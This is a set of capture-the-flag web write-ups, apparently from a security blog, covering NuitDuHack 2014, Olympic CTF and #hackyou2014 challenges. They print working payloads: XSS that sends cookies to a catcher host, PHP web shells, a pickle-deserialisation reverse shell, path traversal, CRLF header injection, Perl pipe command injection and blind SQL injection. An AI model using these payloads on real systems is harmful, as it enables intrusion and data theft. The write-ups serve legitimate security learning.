Web

NuitDuHack 2014 Web Write Ups

Web 100: Abitol

This is a simple web app where you can register and login to see an articles page, a photo gallery, a flag page and an admin contact page.

Visiting the flag page give us a Nice try, did you really think it would be that easy? ;) but the photo gallery is vulnerable to XSS:

http://abitbol.nuitduhack.com/zoom.php?image=1%3E%3Cscript%3Ealert%281%29%3C/script%3E

Now, we dont know how the admin contact will be visualized in the viewer page, but we can try to send him a message with an iframe pointing to the vulnerable page so we can send his session ID to our cookie catcher or use XHR to request the flag.php page and send us the flag. Both options work, but the second is slighlty better since the time frame where the session ID is valid is very narrow:

<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>flag = new XMLHttpRequest(); flag.open('GET','/flag.php',false); flag.send(); flag.open('GET','http://ctf.pwntester.com/catcher.php?data='+flag.response); flag.send();</script>" />  
<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>document.location="http://ctf.pwntest.com/catcher.php?data="+document.cookie</script>" />  

After waiting a few minutes, the flag is waiting for us in the catcher:

Web 300: Titanoreine

This is a photo gallery where we can upload any image to the site. That seems the first attack vector, the second one is that it allows you to change the language and the parameter to do that is lang=(eng|fr).php which looks vulnerable to LFI. After some trials, you can include any local file in the root directory by going down three levels. Eg: ../../../upload.php

If we include the default images in the gallery system, we can see that only 2.jpg is included as binary garbage in the page:

However if we download the original image and upload it again with a different name, the new image cannot be included and the LFI just show an empty page. So there seems to be some kind of conversion going on. Comparing the EXIF data of the original and converted ones, we can see that is being compressed by gd library with quality 98:

We will compress it locally so that it does not suffer any conversion in the server (actually the server still changes the image, but probability of screwing up the php code are smaller):

$image = imagecreatefromjpeg('avatar.jpg');
imagejpeg($image,'avatar_lq.jpg',98);  

Uploading the new compressed image to the site and including it via the LFI works now. All we have to do now is include a PHP shell. It turns out that many PHP commands seems to be forbidden by the server so we ended up using eval: <?php eval($_GET['a']); ?>

Update: During the CTF, we were lucky to find another team JPG so that we could slightly modufy it and use it. Modifying a JPG so that the changes survide a GD compression is not an easy task, but will try to explain in a following post.

With that in place we can start sending commands to the server. First we can exfiltrate the code using highlight_file():

index.php

functions.php

upload.php

In order to get the flag, I used a directoryIterator since many other options were cut off:

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('./'));while($it->valid()){echo $it->getSubPathName()."</br>";$it->next();}

The flag is hidden in the unsuspicious file:

Voila!

Thanks to in3pids, @SaxX and the organization for such a fun CTF!

Olympic CTF CURLing500 Write Up

We didnt have time to finish this task during the game since we decided to finish Freestyle 400 (scored in the last minute) but as I foound out later, we were close to finish it.

In this level we were presented with a login form vulnerable to user enumeration. It was easy to see that admin was a valid user but we could not guess the password. After trying with other "normal" accounts like guest, dev and so on, we found that debug was a valid account and the password was debug. Nice, we were in.

Then we were presented with a console to enter and run our code. Simple evaluations like "1+1" and "'some'.concat('thing')" worked. What gave us more details was entering "help":

function (x) { if (x == "mr") { print("\nSee also http://dochub.mongodb.org/core/mapreduce"); print("\nfunction mapf() {"); print(" // 'this' holds current document to inspect"); print(" emit(key, value);"); print("}"); print("\nfunction reducef(key,value_array) {"); print(" return reduced_value;"); print("}"); print("\ndb.mycollection.mapReduce(mapf, reducef[, options])"); print("\noptions"); print("{[query : <query filter object>]"); print(" [, sort : <sort the query. useful for optimization>]"); print(" [, limit : <number of objects to return from collection>]"); print(" [, out : <output-collection name>]"); print(" [, keeptemp: <true|false>]"); print(" [, finalize : <finalizefunction>]"); print(" [, scope : <object where fields go into javascript global scope >]"); print(" [, verbose : true]}\n"); return; } else if (x == "connect") { print("\nNormally one specifies the server on the mongo shell command line. Run mongo --help to see those options."); print("Additional connections may be opened:\n"); print(" var x = new Mongo('host[:port]');"); print(" var mydb = x.getDB('mydb');"); print(" or"); print(" var mydb = connect('host[:port]/mydb');"); print("\nNote: the REPL prompt only auto-reports getLastError() for the shell command line connection.\n"); return; } else if (x == "keys") { print("Tab completion and command history is available at the command prompt.\n"); print("Some emacs keystrokes are available too:"); print(" Ctrl-A start of line"); print(" Ctrl-E end of line"); print(" Ctrl-K del to end of line"); print("\nMulti-line commands"); print("You can enter a multi line javascript expression. If parens, braces, etc. are not closed, you will see a new line "); print("beginning with '...' characters. Type the rest of your expression. Press Ctrl-C to abort the data entry if you"); print("get stuck.\n"); } else if (x == "misc") { print("\tb = new BinData(subtype,base64str) create a BSON BinData value"); print("\tb.subtype() the BinData subtype (0..255)"); print("\tb.length() length of the BinData data in bytes"); print("\tb.hex() the data as a hex encoded string"); print("\tb.base64() the data as a base 64 encoded string"); print("\tb.toString()"); print(); print("\tb = HexData(subtype,hexstr) create a BSON BinData value from a hex string"); print("\tb = UUID(hexstr) create a BSON BinData value of UUID subtype"); print("\tb = MD5(hexstr) create a BSON BinData value of MD5 subtype"); print("\t\"hexstr\" string, sequence of hex characters (no 0x prefix)"); print(); print("\to = new ObjectId() create a new ObjectId"); print("\to.getTimestamp() return timestamp derived from first 32 bits of the OID"); print("\to.isObjectId"); print("\to.toString()"); print("\to.equals(otherid)"); print(); print("\td = ISODate() like Date() but behaves more intuitively when used"); print("\td = ISODate('YYYY-MM-DD hh:mm:ss') without an explicit \"new \" prefix on construction"); return; } else if (x == "admin") { print("\tls([path]) list files"); print("\tpwd() returns current directory"); print("\tlistFiles([path]) returns file list"); print("\thostname() returns name of this host"); print("\tcat(fname) returns contents of text file as a string"); print("\tremoveFile(f) delete a file or directory"); print("\tload(jsfilename) load and execute a .js file"); print("\trun(program[, args...]) spawn a program and wait for its completion"); print("\trunProgram(program[, args...]) same as run(), above"); print("\tsleep(m) sleep m milliseconds"); print("\tgetMemInfo() diagnostic"); return; } else if (x == "test") { print("\tstartMongodEmpty(args) DELETES DATA DIR and then starts mongod"); print("\t returns a connection to the new server"); print("\tstartMongodTest(port,dir,options)"); print("\t DELETES DATA DIR"); print("\t automatically picks port #s starting at 27000 and increasing"); print("\t or you can specify the port as the first arg"); print("\t dir is /data/db/<port>/ if not specified as the 2nd arg"); print("\t returns a connection to the new server"); print("\tresetDbpath(dirpathstr) deletes everything under the dir specified including subdirs"); print("\tstopMongoProgram(port[, signal])"); return; } else if (x == "") { print("\t" + "db.help() help on db methods"); print("\t" + "db.mycoll.help() help on collection methods"); print("\t" + "sh.help() sharding helpers"); print("\t" + "rs.help() replica set helpers"); print("\t" + "help admin administrative help"); print("\t" + "help connect connecting to a db help"); print("\t" + "help keys key shortcuts"); print("\t" + "help misc misc things to know"); print("\t" + "help mr mapreduce"); print(); print("\t" + "show dbs show database names"); print("\t" + "show collections show collections in current database"); print("\t" + "show users show users in current database"); print("\t" + "show profile show most recent system.profile entries with time >= 1ms"); print("\t" + "show logs show the accessible logger names"); print("\t" + "show log [name] prints out the last segment of log in memory, 'global' is default"); print("\t" + "use <db_name> set current database"); print("\t" + "db.foo.find() list objects in collection foo"); print("\t" + "db.foo.find( { a : 1 } ) list objects in foo where a == 1"); print("\t" + "it result of the last line evaluated; use to further iterate"); print("\t" + "DBQuery.shellBatchSize = x set default number of items to display on shell"); print("\t" + "exit quit the mongo shell"); } else print("unknown help option"); }.  

Nice, a bunch of useful information, specially the references to MongoDB. Since it seems that we were working we Mongo, we entered the following commands:

db.getMongo().getDBNames()  
         [u'admin', u'web500', u'local', u'flag', u'flags'].
db.getCollectionNames()  
         [u'lulz', u'system.indexes', u'system.users', u'users'].
db.users.findOne()  
         {u'login': u'debug', u'_id': ObjectId('52f661f917c6f07b4987ec03'), u'pwd': u'debug'}.
db.users.find().toArray()  
         [{u'login': u'debug', u'_id':  ObjectId('52f661f917c6f07b4987ec03'), u'pwd': u'debug'},
         {u'login':  u'admin', u'_id': ObjectId('52f6623c17c6f07b4987ec04'), u'pwd':  u'firststeptoflag-done'}].

Pretty cool, now we have the admin credentials and can log in as administrator.

When logged in as admin, we could see a form with two fields: a base64 encoded text and a signature to submit the base64 "command":

eyJib2R5IjogImdBSjljUUVvVlFkbGVIQnBjbVZ6Y1FKT1ZRTjFkR054QTRoVkJHRnlaM054QkVzWFN5cUdjUVZWQldOb2IzSmtjUVpPVlFsallXeHNZbUZqYTNOeEIwNVZDR1Z5Y21KaFkydHpjUWhPVlFkMFlYTnJjMlYwY1FsT1ZRSnBaSEVLVlNSaE0yUTVZems0Tmkxak5EWXhMVFExWmpBdE9UTm1ZUzA1WWpCbE9USTVZVEppTXpkeEMxVUhjbVYwY21sbGMzRU1Td0JWQkhSaGMydHhEVlVOWVhCd0xuUmxjM1JmZEdGemEzRU9WUWwwYVcxbGJHbHRhWFJ4RDA1T2hsVURaWFJoY1JCT1ZRWnJkMkZ5WjNOeEVYMXhFblV1IiwgImhlYWRlcnMiOiB7fSwgImNvbnRlbnQtdHlwZSI6ICJhcHBsaWNhdGlvbi94LXB5dGhvbi1zZXJpYWxpemUiLCAicHJvcGVydGllcyI6IHsiYm9keV9lbmNvZGluZyI6ICJiYXNlNjQiLCAiY29ycmVsYXRpb25faWQiOiAiYTNkOWM5ODYtYzQ2MS00NWYwLTkzZmEtOWIwZTkyOWEyYjM3IiwgInJlcGx5X3RvIjogIjAxOTI1YTNmLTE3ZDUtM2YzYy1iMDg2LTZjNzFiZTBlMmI1MCIsICJkZWxpdmVyeV9pbmZvIjogeyJwcmlvcml0eSI6IDAsICJyb3V0aW5nX2tleSI6ICJjZWxlcnkiLCAiZXhjaGFuZ2UiOiAiY2VsZXJ5In0sICJkZWxpdmVyeV9tb2RlIjogMiwgImRlbGl2ZXJ5X3RhZyI6IDF9LCAiY29udGVudC1lbmNvZGluZyI6ICJiaW5hcnkifQ==  
9ce5b4b977d4cdd5941dfad4da1b2c9fc47a35e3a68f80e43f3ea2145c694405  

If we decode the command we got:

{"body": "gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsXSyqGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSRhM2Q5Yzk4Ni1jNDYxLTQ1ZjAtOTNmYS05YjBlOTI5YTJiMzdxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUNYXBwLnRlc3RfdGFza3EOVQl0aW1lbGltaXRxD05OhlUDZXRhcRBOVQZrd2FyZ3NxEX1xEnUu", "headers": {}, "content-type": "application/x-python-serialize", "properties": {"body_encoding": "base64", "correlation_id": "a3d9c986-c461-45f0-93fa-9b0e929a2b37", "reply_to": "01925a3f-17d5-3f3c-b086-6c71be0e2b50", "delivery_info": {"priority": 0, "routing_key": "celery", "exchange": "celery"}, "delivery_mode": 2, "delivery_tag": 1}, "content-encoding": "binary"}

The content-type: x-python-serialize tell us that the body is some kind of serialized python code. If we decode it:

€}q(UexpiresqNUutcqˆUargsqKK*†qUchordqNU    callbacksqNUerrbacksqNUtasksetq NUidq
U$a3d9c986-c461-45f0-93fa-9b0e929a2b37q  
Uretriesq  
K  

There was also a binary called signer-striped available for download. So it seems we can serialize our payload with pickle, sign it using the signer and submit the payload and the signature.

The first problem is that the signer is a arm64 binary:

€signer-striped: ELF 64-bit LSB executable, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.7.0, BuildID[sha1]=0xef4ad560b1f9a141560710535a904093212a8a22, stripped

We have to set up a chroot with qemu-arm64 to emulate the hardware and be able to run the signer. Now, lets go for the payload.

This is as far as we got during the game since we didnt have time and decided to go for the Freestyle400 one. I tried to solve it but the CTF VMs are down so the rest is just how I think the task was solved based on the request posted by @maciekkotowicz in the IRC channel. I decided to post this entry since there are no write-ups in the web and the last part was interesting.

The request posted in pastebin can be decoded to:

{"body": "Y3R5cGVzCkZ1bmN0aW9uVHlwZQooY21hcnNoYWwKbG9hZHMKKGNiYXNlNjQKYjY0ZGVjb2RlCihTJ1l3QUFBQUFGQUFBQUF3QUFBRU1BQUFCem1BQUFBSFFBQUdRQkFJTUJBSDBBQUhRQUFHUUNBSU1CQUgwQkFIUUFBR1FEQUlNQkFIMENBSHdBQUdvQkFJTUFBSDBEQUh3REFHb0NBR1FMQUlNQkFBRjhBZ0JxQXdCOEF3QnFCQUNEQUFCa0JnQ0RBZ0FCZkFJQWFnTUFmQU1BYWdRQWd3QUFaQWNBZ3dJQUFYd0NBR29EQUh3REFHb0VBSU1BQUdRSUFJTUNBQUY4QVFCcUJRQmtDUUJrQ2dCbkFnQ0RBUUI5QkFCa0FBQlRLQXdBQUFCT2RBWUFBQUJ6YjJOclpYUjBDZ0FBQUhOMVluQnliMk5sYzNOMEFnQUFBRzl6Y3d3QUFBQTVOQzR5TXk0eU1URXVPREpwT0JBQUFHa0FBQUFBYVFFQUFBQnBBZ0FBQUhNSEFBQUFMMkpwYmk5emFITUNBQUFBTFdrb0FnQUFBSE1NQUFBQU9UUXVNak11TWpFeExqZ3lhVGdRQUFBb0JnQUFBSFFLQUFBQVgxOXBiWEJ2Y25SZlgxSUFBQUFBZEFjQUFBQmpiMjV1WldOMGRBUUFBQUJrZFhBeWRBWUFBQUJtYVd4bGJtOTBCQUFBQUdOaGJHd29CUUFBQUhRQ0FBQUFjM04wQWdBQUFITndVZ0lBQUFCMEFRQUFBSE4wQVFBQUFIQW9BQUFBQUNnQUFBQUFjd2tBQUFBdmRHMXdMM2N1Y0hsMEF3QUFBSEIzYmdRQUFBQnpFZ0FBQUFBQkRBRU1BUXdCREFBTkFSWUFGZ0FXQVE9PScKdFJ0UmNfX2J1aWx0aW5fXwpnbG9iYWxzCih0UlMnJwp0Uih0Ui4=", "headers": {}, "content-type": "application/x-python-serialize", "properties": {"body_encoding": "base64", "correlation_id": "a3d9c986-c461-45f0-93fa-9b0e929a2b37", "reply_to": "01925a3f-17d5-3f3c-b086-6c71be0e2b50", "delivery_info": {"priority": 10, "routing_key": "celery", "exchange": "celery"}, "delivery_mode": 2, "delivery_tag": 1}, "content-encoding": "binary"}

We can see that the server accepted the same correlationid, replyto and delivery_info. If we decode the body:

ctypes  
FunctionType  
(cmarshal
loads  
(cbase64
b64decode  
(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcwwAAAA5NC4yMy4yMTEuODJpOBAAAGkAAAAAaQEAAABpAgAAAHMHAAAAL2Jpbi9zaHMCAAAALWkoAgAAAHMMAAAAOTQuMjMuMjExLjgyaTgQAAAoBgAAAHQKAAAAX19pbXBvcnRfX1IAAAAAdAcAAABjb25uZWN0dAQAAABkdXAydAYAAABmaWxlbm90BAAAAGNhbGwoBQAAAHQCAAAAc3N0AgAAAHNwUgIAAAB0AQAAAHN0AQAAAHAoAAAAACgAAAAAcwkAAAAvdG1wL3cucHl0AwAAAHB3bgQAAABzEgAAAAABDAEMAQwBDAANARYAFgAWAQ=='
tRtRc__builtin__  
globals  
(tRS''
tR(tR.  

This is easily recognozible as pickle serialized data and actually is a know template to execute code via pickle deserialization. You can find a nice post describing how does it work here, but basically what will be execute is the python code object (got via function.func_code) encoded with base64.

In order to generate the payload we can use the following python script:

import marshal  
import base64

def foo():  
    pass # PAYLOAD HERE

print """ctypes  
FunctionType  
(cmarshal
loads  
(cbase64
b64decode  
(S'%s'
tRtRc__builtin__  
globals  
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))  

We can reverse the process to figure out what was the payload used:

import marshal  
import base64

payload = "YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcwwAAAA5NC4yMy4yMTEuODJpOBAAAGkAAAAAaQEAAABpAgAAAHMHAAAAL2Jpbi9zaHMCAAAALWkoAgAAAHMMAAAAOTQuMjMuMjExLjgyaTgQAAAoBgAAAHQKAAAAX19pbXBvcnRfX1IAAAAAdAcAAABjb25uZWN0dAQAAABkdXAydAYAAABmaWxlbm90BAAAAGNhbGwoBQAAAHQCAAAAc3N0AgAAAHNwUgIAAAB0AQAAAHN0AQAAAHAoAAAAACgAAAAAcwkAAAAvdG1wL3cucHl0AwAAAHB3bgQAAABzEgAAAAABDAEMAQwBDAANARYAFgAWAQ=="  
p1 = base64.b64decode(payload);  
p2 = marshal.loads(p1);  
print p2.co_consts  
(None, 'socket', 'subprocess', 'os', '94.23.211.82', 4152, 0, 1, 2, '/bin/sh', '-i', ('94.23.211.82', 4152))

This looks like a reverse shell, so we can guess the payload function was something like:

def pwn():  
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("94.23.211.821",4152))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])

According to @maciekkotowicz, once you got the shell you had to look for the flag in a RedisDB, but I didnt get the chance to try that.

Olympic CTF CURLing tasks

I had the honour to participate with int3pids in the #Olympic CTF and these are the write ups of the Web tasks we solved.

CURLing 200: Xnginx

In this level we were presented with a simple web site where we could check some news

First thing to notice is that the news URL is vulnerable to path transversal:

http://109.233.61.11:27280/news/?f=31-12-2013  
http://109.233.61.11:27280/news/?f=../../../../../etc/passwd  

Since the name of the task was xnginx I looked for the nginx configuration file:

http://109.233.61.11:27280/news/?f=../../../etc/nginx/nginx.conf  

That returned the configuration file:

Looking at the configuration file we can see where the site configuration is stored so we issued another request to fetch the site config:

http://109.233.61.11:27280/news/?f=../../../etc/nginx/sites-enabled/default  

Config file:

# You may add here your
# server {
#   ...
# }
# statements for each of your virtual hosts to this file

##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# http://wiki.nginx.org/Pitfalls
# http://wiki.nginx.org/QuickStart
# http://wiki.nginx.org/Configuration
#
# Generally, you will want to move this file somewhere, and start with a clean
# file but keep this around for reference. Or just disable in sites-enabled.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

server {  
    #listen   80; ## listen for ipv4; this line is default and implied
    #listen   [::]:80 default ipv6only=on; ## listen for ipv6

    root /usr/share/nginx/www;
    index index.html index.htm;

    # Make site accessible from http://localhost/
    server_name localhost;

        location / {
        limit_req zone=one burst=5 nodelay;
            proxy_pass http://127.0.0.1:5001;
        }

        location = /secret/flag {
            root /home;
            internal;
        }
}


# another virtual host using mix of IP-, name-, and port-based configuration
#
#server {
#   listen 8000;
#   listen somename:8080;
#   server_name somename alias another.alias;
#   root html;
#   index index.html index.htm;
#
#   location / {
#       try_files $uri $uri/ /index.html;
#   }
#}


# HTTPS server
#
#server {
#   listen 443;
#   server_name localhost;
#
#   root html;
#   index index.html index.htm;
#
#   ssl on;
#   ssl_certificate cert.pem;
#   ssl_certificate_key cert.key;
#
#   ssl_session_timeout 5m;
#
#   ssl_protocols SSLv3 TLSv1;
#   ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;
#   ssl_prefer_server_ciphers on;
#
#   location / {
#       try_files $uri $uri/ /index.html;
#   }
#}

The interesting bits are highlighed:

location = /secret/flag {  
    root /home;
    internal;
}

Look like the flag is located at http://109.233.61.11:27280/secret/flag but only internal requests will get through. This looks like a SSRF task but in the end it was something completly different.

At the same time we found that the return link was vulnerable to Header Manipulation:

http://109.233.61.11:27280/?retpath=/news  

The above URL generates a redirect to news

HTTP/1.1 307 TEMPORARY REDIRECT  
Server: nginx/1.1.19  
Date: Sun, 09 Feb 2014 17:07:47 GMT  
Content-Type: text/html; charset=utf-8  
Content-Length: 0  
Connection: keep-alive  
Location: /news  

And

http://109.233.61.11:27280/?repath=/secret/flag%0d%0aHost:%20127.0.0.1  

generated:

HTTP/1.1 307 TEMPORARY REDIRECT  
Server: nginx/1.1.19  
Date: Sun, 09 Feb 2014 17:10:22 GMT  
Content-Type: text/html; charset=utf-8  
Content-Length: 0  
Connection: keep-alive  
Location: /secret/flag  
Host: 127.0.0.1  

However that was not enough to trick nginx.

After researchig about Nginx we found out that it has a similar feature as Apache mod_xsendfile called X-Accel module that provides internal redirects. So basically nginx will intercept the responses and if it contains the X-Accel-redirect header, it will request the resource specified in the header and return the response back to the user. With that we were able to use the header manipulation vulnerability to craft the following request:

http://109.233.61.11:27280/?retpath=/%0D%0AX-Accel-Redirect%3A%20/secret/flag  

response was :

HTTP/1.1 200 OK  
Server: nginx/1.1.19  
Date: Sun, 09 Feb 2014 17:15:32 GMT  
Content-Type: text/html; charset=utf-8  
Last-Modified: Thu, 06 Feb 2014 13:55:07 GMT  
Connection: keep-alive  
Content-Length: 38

CTF{6e75d02b8e8329bb4b45c7dabd2e1da2}  

CURLing 300: emdee

This level got us crazy for a long time, in the end it was an easy task to solve. We were presented with a revolutionary md5 hashing system :)

Submitting a new secret got us the hash and the timestamp used for the hashing:

After playing with other approaches, including sending long secrets so that the timestamp was cut off, we found out that we could hash non printable characters and some of them were really interesting, specially the "del" one or \x7F

We can send del commands to delete previous introduced characters so hash(aa\xF7) == hash(a) for the same timestamp. We can used that to remove all the Salt characters except for the first one and then use the returned timestamp and hash to brute force the first character in the salt. And then repeat to extract the full salt.

To find out the length of the salt we can use the following script:

for j in xrange(1,64):  
    secret = '\x7F' * j
    res = requests.post(URL, data={'secret':secret})
    ts, h = parse(res.content)
    if hashlib.md5(ts).hexdigest() == h:
        SALTLEN = j
        break

We basically send n delete characters and check if the returned hash is the result of hashing the returned timestamp. This gives us a lenght of 40 chracters. Now we can brute force the salt with the following script:

import requests  
import re  
import hashlib

def parse(content):  
    m = re.search(r'your_secret \+ ([0-9.]+).*<em>([0-9a-f]+)', content)
    if not m:
        raise
    return m.group(1), m.group(2)

def bruteforce(prefix, h, ts):  
    for c in map(chr, range(32,126)):
        if hashlib.md5(prefix+c+ts).hexdigest() == h:
            return c
    return None
URL = 'http://109.233.61.11:34380/'  
SALTLEN = 0  
salt = ''

for j in xrange(1,64):  
    secret = '\x7F' * j
    res = requests.post(URL, data={'secret':secret})
    ts, h = parse(res.content)
    if hashlib.md5(ts).hexdigest() == h:
        SALTLEN = j
        break

for i in range(SALTLEN):  
    secret = '\x7F' * (39-i)
    if i == 39:
        secret = 'a'
    res = requests.post(URL, data={'secret':secret})
    ts, h = parse(res.content)
    if i == 39:
        ts = secret+ts
    c = bruteforce(salt, h, ts)
    salt += c
print salt  

Running the script returns us the salf: klgWCV7YgP0ugoiIXE9u0kSXpcnv3Z6eKmkIohJJ

Now we are said that the secret was a "short dictionary word" so we can run a dictionary attack to find the word that produces the hash so that md5(salt+word) = 40288d60073775070a7edcdcd1df9c56 which turns out to be "cow"

Flag was salt+word: klgWCV7YgP0ugoiIXE9u0kSXpcnv3Z6eKmkIohJJcow

CURLing 400: RPC

In this level we were presented with a "broken" link" saying:

Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27  

So we crafted a POST request with the following JSON RPC parameter:

rpc_json_call={ "jsonrpc": "2.0","method": "function", "params": ["123"] }  

And we got a "invalid method. Try test." as result.

Nice, so we tried "test" as indicated and got a "42" as a result. We tried a bunch of methods with no luck until we tried with PHP magic method names and we got different responses for "construct" and "wakeup" all the remaining ones were returning the invalid method response.

"__wakeup" was not taking arguments and just returned a 200 OK

"__construct" was complaining about wrong arguments:

invalid method params! Valid is:  
    log_dir
    debug
    state

Ok, so we sent a request like

rpc_json_call={ "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.log", "debug":true, "state":"test"} }  

We were expecting that we could write in /var/www/kk.log but nothing appeared there.

Fortunately we realized that we could send several commands so we tried:

rpc_json_call=[  
 { "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.log", "debug":true, "state":"test"} },
 { "jsonrpc": "2.0","method": "__wakeup", "params": {} }
]

And voila, we got a beautiful "...loged" response so we checked the "kk.log" file and it was there:

1391967947  O:3:"rpc":1:{s:5:"state";s:4:"test";}  

It seems like a serialized string but more interetingly, our test string was there, so next step is try to inject a web shell:

rpc_json_call=[  
 { "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.php", "debug":true, "state":"<? echo file_get_contents('index.php');?>"} },
 { "jsonrpc": "2.0","method": "__wakeup", "params": {} }
]

And there we go a beautiful shell. All we have to do is:

rpc_json_call=[  
 { "jsonrpc": "2.0","method": "__construct", "params": {"log_dir":"/var/www/kk.php", "debug":true, "state":"<? passthru($_GET['cmd']);?>"} },
 { "jsonrpc": "2.0","method": "__wakeup", "params": {} }
]

And then:

http://109.233.61.11:8880/kk.php?cmd=cat%20/FLAG  

And flag:

1391968178 O:3:"rpc":1:{s:5:"state";s:28:"CTF{b15ffee30a117f418d1cede6faa57778} ";}  

#hackyou2014 Web200 write-up

In this level we are presented with a typical Snake game.

I spent a couple of hours deofuscating the javascript code until I was capable of submitting any score. Nice but useless. I also found out that I could fake the IP associated to the score using the X-Forwarded-For header.
That was pretty much it until the CTF was about to finish when I was given the hint: "../". I could use it to locate a LFI vulnerability that was affecting the index.php?ip parameter so I was capable of reading index.pl:

Reviewing the code we spot the LFI in line 4:

$login = $session->param('login');
print $req->p('Hello, '.$login.'!');  
if ($req->param('ip')) {  
    $file = './data/'.MD5($login)."/".$req->param('ip');
    if (-e $file) {
        open FILE, $file;
        $html = '';
        while (<FILE>) {
            $html .= $_;
        }
        close(FILE);
        print $req->start_table({border=>1});
        print $req->Tr($req->th(['Date', 'Score']));
        print $html;
        print $req->end_table();
        print $req->a({href=>'index.pl'}, 'Back');
    } else {
        print $req->h1('Error');
    }
}

But also there is another interesting "feature" if $file exists then it will be opened and since perl open() command in line 6 allow us to inject commands using pipes, we can execute any arbitrary command. Problem is that $file needs to exist so how can we create a random file there? Well, we can use our ability to submit random IPs with X-Forwarded-For:

Now if we go to index.pl?ip=|pwd| we will get:

Nice! However we cannot create files containing a slash ("/"):

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|pwd|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls .|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls ..|")'  
[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|ls /|")'  
[email protected]:~/test$ ls  
|ls ..|  |ls .|  |pwd|

No backslashes neither:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo -e '\x6c\x73\x20\x2f'`|")'  
[email protected]:~/test$ ls  
|`echo -e x6cx73x20x2f`|  |ls ..|  |ls .|  |pwd|

Lets try base64:

[email protected]:~/test$ perl -e 'open(FILE, ">>", "./"."|`echo bHMgLw== | base64 -d`|")'  
[email protected]:~/test$ ls  
|`echo -e x6cx73x20x2f`|  |`echo bHMgLw== | base64 -d`|  |ls ..|  |ls .|  |pwd|

Cool! lets submit it:

And fetch our recompense:

#hackyou2014 Web300 write-up

In this level we were presented with an online shop:

The task name was "AngryBird" and this was very relevant to solve the challange! It actually comes down to two parts:

  • Finding a hidden admin area
  • Exploiting a blind SQLi to get credentials

Finding the hidden admin area

We were given the following description:

Some web-developers still host their sites on Windows platform, and think that it is secure enough

So we have to unravel our Windows PHP trickery and one of the coolest thigs Ive seen lately is this Windows+PHP bug realted with findfirstfile. If you havent read the paper so far, go and read it, is awesome!.

Anyway, using this trick on the main page and a little bit of burp intruder, we can find interesting hidden stuff. For examplo:

http://hackyou2014tasks.ctf.su:30080/index.php?page=p<<  

the "p<<" bit will become "p*" and Windows's findfirstfile API used by include_once will return us the first file starting with "p" and it will show us phpinfo()

Using same trick we can see that "0<<" returns an expty page instead of a "Page does not exists", so it can be the beggining of a directory name. After bruteforcing it we find a secret admin login in

http://hackyou2014tasks.ctf.su:30080/0a5d2eb35b90e338ed481893af7a6d78/index.php  

Now we need the credentials.

Exploiting the Angry Bird

Its easy to find that the order parameter is vulnerable to SQL injection:

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost  

We cannot actually uses single quotes or many other characters because of the WAF, but we can easily prove it with the following URLs:

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost ASC  

http://hackyou2014tasks.ctf.su:30080/index.php?page=shop&order=cost DESC  

We can use a similar approach to the one explained here but if we try similar queries we get errors.
So the DB backend doesnt look like MySQL nor MSSQLServer ... but what the hell can be. Well, actually the task name was quite inspiring: Firebird.

After setting up a local instance and learning the basics of firebird syntax and how the WAF works (substring is not allowed), we come with some valid queries like:

(case when (select ascii_val(reverse(left(list(rdb$relation_name),{1}))) from rdb$relations) = 82 then name end)

Using a basic python script we brute force it and find the following user tables: USERS and ITEMS

Using similar script we can extract all the users and passwords and so we get: admin/9shS3FAk
If we try those credentials in the admin page, we get the flag:

CTF{7aac9050378b1c41e4ba5ce48a2f6642}